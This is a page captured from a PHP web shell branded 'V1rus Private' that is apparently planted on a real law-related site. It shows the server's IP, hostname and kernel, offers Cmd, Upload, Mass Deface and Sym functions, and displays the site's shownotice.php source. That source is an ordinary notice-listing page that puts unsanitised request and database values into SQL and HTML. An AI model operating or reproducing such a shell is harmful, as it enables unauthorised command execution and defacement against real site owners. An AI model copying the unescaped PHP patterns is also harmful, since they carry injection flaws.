V1rus Private
User / IP
:
216.73.217.26
Host / Server
:
103.138.189.202 / chaitanyalaw.com
System
:
Linux s1325.sgp1.mysecurecloudhost.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
chaitany
/
public_html
/
ui
/
Viewing: shownotice.php
<?php include('header.php'); include('navu.php'); ?> <link href="https://fonts.googleapis.com/css2?family=BioRhyme&family=Domine&display=swap" rel="stylesheet"> <script> document.title = "Chaitanya | Notice & Publications" </script> <body style=" background: #D4DBE7;"> <div class="container mb-3" style="margin-top: 95px; "> <h2 class=" text-center text-uppercase my-4 " style="font-family: 'BioRhyme', serif;"><br>Notice</h2><br> <div class="row justify-content-center"> <?php $limit = 9; if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = 1; } $offset = ($page - 1) * $limit; $sql = "SELECT * FROM notices LIMIT {$offset},{$limit}"; $res = mysqli_query($conn, $sql); $num = mysqli_num_rows($res); if ($num > 0) { $i = 0; while ($rows = mysqli_fetch_assoc($res)) { $i++; $title = $rows['title']; $content = $rows['content']; $file = $rows['files']; $pdate = $rows['pdate']; ?> <div class="col-md-6 col-lg-4 mb-3 d-flex align-items-stretch "> <div class="card p-3 card border mb-3 bg-white text-dark" style="width : 100% ;box-shadow: rgba(0, 0, 0, 0.1) 0px 10px 15px -3px, rgba(0, 0, 0, 0.05) 0px 4px 6px -2px;"> <div class="card-body d-flex flex-column justify-content-between"> <div class="d-flex flex-row align-items-center bg-light card-header" style="box-shadow: rgba(9, 30, 66, 0.25) 0px 4px 8px -2px, rgba(9, 30, 66, 0.08) 0px 0px 0px 1px; width:100% ;"> <div class="icon"> <img src="./image/text-edit-icon.svg" alt=""> </div> <div class="ms-2 c-details "> <h5 class="mb-0" style="font-family: 'BioRhyme', serif; font-weight:bold; "> <?php echo $title; ?> </h5> </div> </div> <div class="badge text-dark" style="padding: 0;"> <span></span> </div> </div> <div class=""> <h6 class="text-center" style=" font-family: 'Domine', serif;"> <?php echo $content; ?> </h6> <div class="mt-5 text-center"> <a class="btn btn btn-outline-info btn-lg " href="../CMS/notice/files/<?php echo $file ?>" target="_blank">Get File Here</a> </div> <span class="float-end text-muted mt-2"> <?php echo $pdate; ?> </span> </div> </div> </div> <?php } } $sql1 = "SELECT * FROM notices"; $result = mysqli_query($conn, $sql1); if (mysqli_num_rows($result) > 0) { $total_records = mysqli_num_rows($result); $total_page = ceil($total_records / $limit); echo '<div class="d-flex justify-content-center"> <nav aria-label="Page navigation example"> <ul class="pagination">'; if ($page > 1) { echo ' <li class="page-item"><a class="page-link" href="shownotice.php?page=' . ($page - 1) . '">Prev</a></li>'; } for ($i = 1; $i <= $total_page; $i++) { echo '<li class="page-item"><a class="page-link" href="shownotice.php?page=' . $i . '">' . $i . '</a></li>'; } if ($total_page > $page) { echo '<li class="page-item"><a class="page-link" href="shownotice.php?page=' . ($page + 1) . '">Next</a></li>'; } echo ' </ul>'; } ?> </div> </div> </div> </div> </div> </body> <?php include('footer.php'); ?>
Coded With 💗 by
HanzOFC